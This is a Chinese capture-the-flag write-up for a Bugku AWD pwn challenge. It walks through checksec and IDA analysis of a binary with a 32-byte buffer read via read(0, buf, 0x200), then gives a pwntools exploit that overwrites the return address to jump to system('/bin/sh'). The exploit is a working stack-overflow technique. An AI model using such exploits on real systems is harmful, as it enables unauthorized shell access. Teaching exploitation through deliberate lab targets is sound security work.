【awd系列】Bugku S3 AWD排位赛-9 pwn类型

news2024/11/19 5:32:25

文章目录

  • 二进制下载
  • 检查分析
  • 运行二进制
  • ida分析
  • 解题思路
  • exp

二进制下载

下载地址:传送门

检查分析

[root@ningan 3rd]# file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
[root@ningan 3rd]#
[root@ningan 3rd]# checksec pwn
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/ctf/awd/3rd/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看到,安全防护还是比较弱的

运行二进制

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd6f5c6950 | 0x00007f4272c70b40 | <-- buf
                   +--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |
                   +--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)
                   +--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |
                   +--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |
                   +--------------------+

Input: 123456

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd6f5c6950 | 0x000a363534333231 | <-- buf
                   +--------------------+
0x00007ffd6f5c6958 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd6f5c6960 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd6f5c6968 | 0x00007f4272e8b170 |
                   +--------------------+
0x00007ffd6f5c6970 | 0x00007ffd6f5c6980 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd6f5c6978 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffd6f5c6980 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffd6f5c6988 | 0x00007f4272890c87 | <-- return address (main)
                   +--------------------+
0x00007ffd6f5c6990 | 0x0000000000000001 |
                   +--------------------+
0x00007ffd6f5c6998 | 0x00007ffd6f5c6a68 |
                   +--------------------+

Bye!

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe0d6dd760 | 0x00007f02d1bdab40 | <-- buf
                   +--------------------+
0x00007ffe0d6dd768 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |
                   +--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)
                   +--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |
                   +--------------------+

Input: aaaaaaaa

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffe0d6dd760 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007ffe0d6dd768 | 0x000000000000000a |
                   +--------------------+
0x00007ffe0d6dd770 | 0x0000000000000000 |
                   +--------------------+
0x00007ffe0d6dd778 | 0x00007f02d1df5170 |
                   +--------------------+
0x00007ffe0d6dd780 | 0x00007ffe0d6dd790 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffe0d6dd788 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffe0d6dd790 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffe0d6dd798 | 0x00007f02d17fac87 | <-- return address (main)
                   +--------------------+
0x00007ffe0d6dd7a0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffe0d6dd7a8 | 0x00007ffe0d6dd878 |
                   +--------------------+

Bye!

ida分析

分析main函数,发现有提示:call win函数

image.png

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  printf("Your goal is to call `win` function (located at %p)\n", win);
  vuln();
  puts("Bye!");
  return 0;
}

可以看到,读取了一些内容存到了buf变量里,然后就调用了return函数,可以用这个栈溢出漏洞来进行利用

image.png

__int64 vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  _show_stack(buf);
  printf("Input: ");
  read(0, buf, 0x200uLL);
  return _show_stack(buf);
}

查看win函数,看到有system(“/bin/sh”)的指令,可以直接利用

image.png

void __noreturn win()
{
  _QWORD v0[2]; // [rsp+0h] [rbp-10h] BYREF

  v0[1] = v0;
  if ( ((unsigned __int8)v0 & 0xF) != 0 )
  {
    puts("Oops! RSP is misaligned!");
    puts("Some functions such as `system` use `movaps` instructions in libc-2.27 and later.");
    puts("This instruction fails when RSP is not a multiple of 0x10.");
    puts("Find a way to align RSP! You're almost there!");
    sleep(1u);
  }
  else
  {
    puts("Congratulations!");
    system("/bin/sh");
  }
  exit(0);
}

找到system(“/bin/sh”);的地址为:0x00000000004008C4

image.png

.text:00000000004008C4 48 8D 3D C4 03 00 00          lea     rdi, command                    ; "/bin/sh"
.text:00000000004008CB E8 A0 FD FF FF                call    _system

解题思路

找到填充的间隔为32

image.png

[root@ningan 3rd]# ./pwn
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffce7496290 | 0x00007f258a829b40 | <-- buf
                   +--------------------+
0x00007ffce7496298 | 0x0000000000000000 |
                   +--------------------+
0x00007ffce74962a0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffce74962a8 | 0x00007f258aa44170 |
                   +--------------------+
0x00007ffce74962b0 | 0x00007ffce74962c0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffce74962b8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffce74962c0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffce74962c8 | 0x00007f258a449c87 | <-- return address (main)
                   +--------------------+
0x00007ffce74962d0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffce74962d8 | 0x00007ffce74963a8 |
                   +--------------------+

Input: ^C
[root@ningan 3rd]#
[root@ningan 3rd]# python
Python 3.6.9 (default, Mar 10 2023, 16:46:00)
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00007ffce74962b0 - 0x00007ffce7496290
32

上面已经找到system(“/bin/sh”);的地址为:0x00000000004008C4

exp

from pwn import *

io = process("./pwn")
# io = remote("xxxx", 9999)  
 
context.arch = "amd64"
# context.log_level = "debug"

padding = b'A' * 32 + b'BBBBBBBB'
return_addr = 0x00000000004008C4
payload = padding + p64(return_addr)

io.recvuntil('Input: ')
io.sendline(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/937041.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

android系统启动流程之SystemServer运行过程

SystemServer进程的启动流程&#xff1a;直接看代码&#xff1a; SystemServer是Java中的一个进程&#xff0c;执行入口是SystemServer.java.main(); SystemServer.java.main();-->new SystemServer().run();-->createSystemContext();//创建系统上下文:虽然SystemServe…

Unittest 笔记:unittest拓展生成HTM报告发送邮件

HTMLTestRunner 是一个unitest拓展可以生成HTML 报告 下载地址&#xff1a;GitHub: https://github.com/defnnig/HTMLTestRunner HTMLTestRunner是一个独立的py文件&#xff0c;可以放在Lib 作为第三方模块使用或者作为项目的一部分。 方式1&#xff1a; 验证是否安装成功&…

Flutter 状态管理引子

1、为了更好地了解状态管理&#xff0c;先看看什么是状态。 在类似Flutter这样的响应式编程框架中&#xff0c;我们可以认为U相关的开发就是对数据进行封装&#xff0c;将之转换为具体的U1布局或者组件。借用Flutter官网的一张图&#xff0c;可以把我们在第二部分做的所有开发…

AliOS-Things引入

目录 一、简介 1.1 硬件抽象层 1.2 AliOS-Things内核 rhino ​编辑 1.3 AliOS-Things组件 二、如何进行AliOS-Things开发 三、安装环境 安装python pip git 修改pip镜像源 安装aos-cube 一、简介 AliOS-Things是阿里巴巴公司推出的致力于搭建云端一体化LoT软件。AliOS-…

Linux操作系统--文件与目录结构

我们初步认识了Linux操作系统,下面我们进一步看看linux的文件与目录结构。 1.文件系统和挂载点 (1).当前的操作系统中查看文件系统 位置 > 计算机 这样你就可以看见当前操作系统中的所有目录和文件。如下所示: (2).挂载点 挂载点实际上就是linux中的磁盘文件系统的入口…

快速理解 X server, DISPLAY 与 X11 Forwarding

​ X server X server是X Window System &#xff08;简称X11或者X&#xff09;系统中的显示服务器&#xff08;display server&#xff09;&#xff0c;用于监听X client发送来的图形界面显示请求&#xff0c;并且将图形界面绘制并显示在屏幕&#xff08;screen&#xff09;…

粒子群算法的基本原理和Matlab实现

1.案例背景 1.1 PSO算法介绍 粒子群优化算法(Particle Swarm Optimization,PSO)是计算智能领域,除了蚁群算法,鱼群算法之外的一种群体智能的优化算法,该算法最早是由Kennedy和 Eberhart 在1995年提出的。PSO算法源于对鸟类捕食行为的研究,鸟类捕食时,每只鸟找到食物最简单有效…

webassembly003 ggml GGML Tensor Library part-3

关于pthread_create()和pthread_join() #include <stdio.h> #include <pthread.h>void *thread_func(void *arg) {int *num (int *)arg;printf("Hello from thread! arg%d\n", *num);pthread_exit(NULL); }int main() {pthread_t thread;int arg 10;i…

解锁开发中的创意:用户为中心的设计思维的力量

引言 设计思维&#xff0c;起源于20世纪60年代&#xff0c;是一种解决问题的方法。它不仅仅是设计师的专利&#xff0c;而是一种可以广泛应用于各种行业和领域的方法。设计思维强调了用户至中的重要性&#xff0c;认为任何问题的解决都应该从用户的需求出发。这种方法鼓励我们…

反转链表+交换两个链表的节点

目录 ​编辑 一&#xff0c;反转链表 1.题目描述 2.例子 3.题目接口 4.分析以及解题代码 1.迭代法 2.递归写法 二&#xff0c;两两交换两个链表中的节点 1.题目描述 2.例子 3.题目接口 4.题目分析以及解法 一&#xff0c;反转链表 1.题目描述 首先来看看反转链表的…

主流深度学习框架及神经网络模型汇总

目录 主流深度学习框架及神经网络模型汇总 一、人工智能的研究领域和分支 二、主流深度学习框架​编辑 1.TensorFlow 2.PyTorch 3.PaddlePaddle 4.Keras 5.Caffe/Caffe2 6.MXNet 7.Theano 8.Torch 9.CNTK 10.ONNX 三、深度学习移动端推理框架 1.TensorRT 2.TF-…

LabVIEW是如何控制硬件的?

概述 工程 师 和 科学 家 可以 使用 LabVIEW 与 数千 种 不同 的 硬件 设备 无缝 集成&#xff0c; 并 通过 方便 的 功能 和 跨 所有 硬件 的 一致 编 程 框架 帮助 节省 开发 时间。 内容 通过更简单的系统集成节省开发时间 连接到任何硬件 NI 硬件 第三方硬件 快速找到…

数据库事务四大特性

事务的4大特性&#xff08;ACID&#xff09;&#xff1a; 原子性(Atomicity)&#xff1a; 事务是数据库的逻辑工作单位&#xff0c;它对数据库的修改要么全部执行&#xff0c;要么全部不执行。 一致性(Consistemcy)&#xff1a; 事务前后&#xff0c;数据库的状态都满足所有的完…

Python之defaultdict方法详解

文章目录 字典dict介绍collections.defaultdict类 字典dict介绍 python中的dict是一个重要的数据类型,用“键”(key)来索引&#xff0c;表示为dict(key: val, …),有以下特征&#xff1a; 键可以是任何不可变(immutable)数据类型不可变数据类型有&#xff1a;数字&#xff0c…

嵌入式软件设计

欢迎关注博主 Mindtechnist 或加入【Linux C/C/Python社区】一起学习和分享Linux、C、C、Python、Matlab&#xff0c;机器人运动控制、多机器人协作&#xff0c;智能优化算法&#xff0c;滤波估计、多传感器信息融合&#xff0c;机器学习&#xff0c;人工智能等相关领域的知识和…

手写数字识别之损失函数

目录 交叉熵 手写数字识别之损失函数 分类任务的损失函数 Softmax函数 交叉熵的简单理解&#xff1a;真实分布与非真实分布的交叉&#xff0c;完全对应&#xff0c;熵为0 交叉熵的代码实现 交叉熵 给定一个策略, 交叉熵就是在该策略下猜中颜色所需要的问题的期望值。更普…

三、JVM监控及诊断工具-GUI篇

目录 一、工具概述二、jconsole&#xff08;了解即可&#xff09;1、基本概述2、启动3、三种连接方式4、作用 三、Visual VM 一、工具概述 二、jconsole&#xff08;了解即可&#xff09; 1、基本概述 从Java5开始&#xff0c;在JDK中自带的Java监控和管理控制台用于对JVM中内…

【mindspore学习】环境配置

本次实验搭配的环境是 CUDA 11.6 CUDNN v8.9.4 TensorRT-8.4.1.5 mindspore 2.1.0。 1、配置 Nvidia 显卡驱动 如果原来的主机已经安装了 nvidia 驱动&#xff0c;为避免版本的冲突&#xff0c;建议先清除掉旧的 nvidia驱动 sudo apt-get --purge remove nvidia* sudo apt…

土豆叶病害识别(图像连续识别和视频识别)

效果视频&#xff1a;土豆叶病害识别&#xff08;Python代码&#xff0c;pyTorch框架&#xff0c;视频识别&#xff09;_哔哩哔哩_bilibili 代码运行要求&#xff1a;Torch库>1.13.1&#xff0c;其它库无版本要求 1..土豆叶数据集主要包好三种类别&#xff08;Early_Blight…

分布式训练 最小化部署docker swarm + docker-compose落地方案

目录 背景&#xff1a; 前提条件&#xff1a; 一、docker环境初始化配置 1. 安装nvidia-docker2 2. 安装docker-compose工具 3. 获取GPU UUID 4. 修改docker runtime为nvidia&#xff0c;指定机器的UUID 二、docker-swarm 环境安装 1. 初始化swarm管理节点 2. 加入工…